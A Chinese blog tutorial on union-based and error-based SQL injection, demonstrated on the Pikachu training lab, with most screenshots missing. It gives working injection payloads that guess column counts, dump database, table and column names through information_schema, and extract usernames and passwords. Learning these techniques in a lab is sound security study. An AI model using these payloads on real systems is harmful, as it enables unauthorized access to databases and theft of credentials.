union注入

一、union注入
基于union的信息获取:

union联合查询:可以通过联合查询来查询指定的数据

用法举例:
select username,password from user where id =1 union select 字段1,字段2 from 表名

先登入PHPmyadmin 进入pikachu的数据库中
在这里插入图片描述
在这里插入图片描述

得到此结果 上述为一般查询
在这里插入图片描述

union查询:
在这里插入图片描述
在这里插入图片描述

除了通过遍历查询数据库内容外,还可以通过一下方法查询:
通过select database();来查询数据库的名称
在这里插入图片描述

在这里插入图片描述

通过select user();来查询数据库使用的用户名
在这里插入图片描述
在这里插入图片描述

通过select version();来查询数据库的版本
在这里插入图片描述
在这里插入图片描述
如果想要通过SQL注入可以通过以下方法:
在这里插入图片描述
在这里使用字符型注入来进行演示
由于我们无法知道数据库中有几个字段,所以需要通过猜测来判断字段数
下面可以通过order by来进行猜测
在这里插入图片描述
select id,email from member where username=‘allen’ order by 1; //通过第一列进行排序在这里插入图片描述

select id,email from member where username=‘allen’ order by 2; //通过第二列进行排序
在这里插入图片描述

select id,email from member where username=‘allen’ order by 3; //通过第三列进行排序
在这里插入图片描述
通过order by来进行列的排序 就可以清楚有多少个字段

让我们回到字符型注入

输入a’ order by 5 #后得到的结果 (这里用到了二分法)

在这里插入图片描述
得到下图时 ,就意味着order by 正常执行了 就可以知道有多少个字段了
在这里插入图片描述
接下来就可以进行union查询了

输入 a’ union select database(),user() #

就会显示数据库的名称和所用的用户名了
在这里插入图片描述
输入 a’ union select version(),4 #

就可以获取数据库的版本

由于必须要有两个字段 所以后面一个我们可以随意拼接一下
在这里插入图片描述
通过union查询来获得一下 数据库的基本信息 这就是union联合查询的作用

MySQL的小知识补充:information_schema
在MYSQL中,自带的information——schema 这个表中存放了大量的信息

获取数据库名(行话:爆库):
xxx’union select table_schema,table_name from information_schema.tables where table_schema=‘pikachu’#
1
获取表名(行话:爆表):

xxx’union select table_name,column_name from information_schema.columns where table_name=’users’#
1
获取列(行话:爆字段):

xxx’union select table_name,column_name from information_schema.columns where table_name=’users’#
1
获取密码(行话:爆数据):

xxx’union select username,password from users#

二、

三、基于函数报错的信息获取

常用的报错函数:updatexml() , extractvalue() , floor()

基于函数报错的信息获取(select/insert/update/delete)

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
Select 下报错的利用演示:
在这里插入图片描述

当我们构造一个错误的语法时 会返回报错信息
在这里插入图片描述

在这里插入图片描述
出现了报错
在这里插入图片描述
这里版本被吃掉了 所以需要通过使用concat()来显示
在这里插入图片描述
在这里插入图片描述

用相同的方法获取其他表的名称

数据库名称等:
在这里插入图片描述

在这里插入图片描述
返回的数据大于一行时
在这里插入图片描述
使用如下操作
在这里插入图片描述
获取所有表后再进行如下操作 获取字段
在这里插入图片描述
在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值